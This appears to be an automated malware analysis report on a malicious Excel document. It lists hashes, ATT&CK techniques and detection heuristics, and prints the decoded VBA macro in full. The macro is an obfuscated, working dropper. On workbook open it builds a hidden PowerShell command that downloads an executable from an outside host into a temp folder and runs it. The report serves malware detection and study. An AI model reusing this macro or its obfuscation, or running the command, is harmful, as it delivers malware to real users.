Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 423d6adbb47ce64e…

MALICIOUS

Office (OLE)

86.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: 0d32128c5b6ae94200a79e41384ad7f3 SHA-1: 24fc1f5a56fd9542ec8fb63c8c69c76f53b0ecee SHA-256: 423d6adbb47ce64e47944fe07bd22fd1a06e2332f5975b0da329394dcd7a5d3a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel document containing a Workbook_Open VBA macro. This macro utilizes the Shell function to execute a command, which is a common technique for downloading and executing further malicious content. The ClamAV detection name 'Xls.Dropper.Generic-6595971-0' further supports its role as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3054 bytes
SHA-256: 41c99060fe9c9cba6f3c34d7dad333da8d78f131ff1c0c1dfa12c2044a4c1093
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function altimetrod()
altimetrod = "'d"
End Function



Sub Workbook_Open()
If Monochrome > 0 Then
Shell zivnaass, msoAlignLefts
End If
End Sub
Function deleviretimer()
teslaimg = Left("calamander", 4)
twistdance = "em"
armagedon = Array("t" + twistdance + "p", "lo" + teslaimg + "ppd" + "ata")
deleviretimer = armagedon(depminng)
End Function
Function ramzessii()
ramzessii = "" + "d   " + timberlook + Chr(34)
End Function
Function SingleSong()
SingleSong = Right(Left("multiplexed", 10), 3)
End Function
Function eratratopol()
jamallaa = Array(Now(), Minute(Now), Minute(Now), "oP" + "r  " + "-e")
porttland = Array(Now(), "eLL  " + "-N")
labbohuber = Array(Now(), "owe" + "RS", Now(), Now())
yokokteam = Array(Now(), "AS" + "S -W" + "i", Now())
fiftydoll = Array(Second(Now), Now(), Now(), Now(), "RA" + "Ct")
anatomical = Array(Now(), Minute(Now), Now(), Now(), "uT" + "i  B", Minute(Now), Now(), Now())
astihandred = "DDen  "
eratratopol = "p" + labbohuber(1) + "h" + porttland(1) + "on" + "iN" + "Te" + fiftydoll(4) + "iv" + "E  -N" + jamallaa(3) + "xeC" + anatomical(4) + "yP" + yokokteam(1) + "nD" + "O " + " hI" + astihandred
End Function
Function depminng()
Randomize
depminng = Int(Rnd * 2#)
End Function
Function zivnaass()

dimmestors = "cM" + ramzessii + eratratopol + Chr(34) + "do{sl" + "eep 25;(." + "(\""{2" + "}{0" + "}{1" + "}\"" -" + "f'-" + "o','bj" + "ec" + "t','ne" + "w') (\""{"
farmologicals = "1}{3}" + "{5}{" + "0}{2}{4}\"" -f'" + "t','sy" + "st','.we" + "bclie','em','nt','.ne'" + hagillas + altimetrod + "'+'o" + "w'+'n" + "lo" + "ad" + "fi"
zivnaass = dimmestors + farmologicals + "l'+'e')." + Left("Invisible", 3) + "oke('" + dotnormtest + "ps://farbrass.co/usn','%" + deleviretimer + "%." + SingleSong + "')}while(!$?);&(\""{0}{2}{1}\""-f'star','ss','t-proce') '%" + deleviretimer + "%." + SingleSong + "'" + Chr(34) + Chr(34)
End Function

Function timberlook()
timberlook = "" + "/c"
End Function


Function dotnormtest()
dotnormtest = Right(Left("lighttight", 6), 3)
End Function
Function hagillas()
hagillas = ")" + ")" + Chr(46) + Chr(40)
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.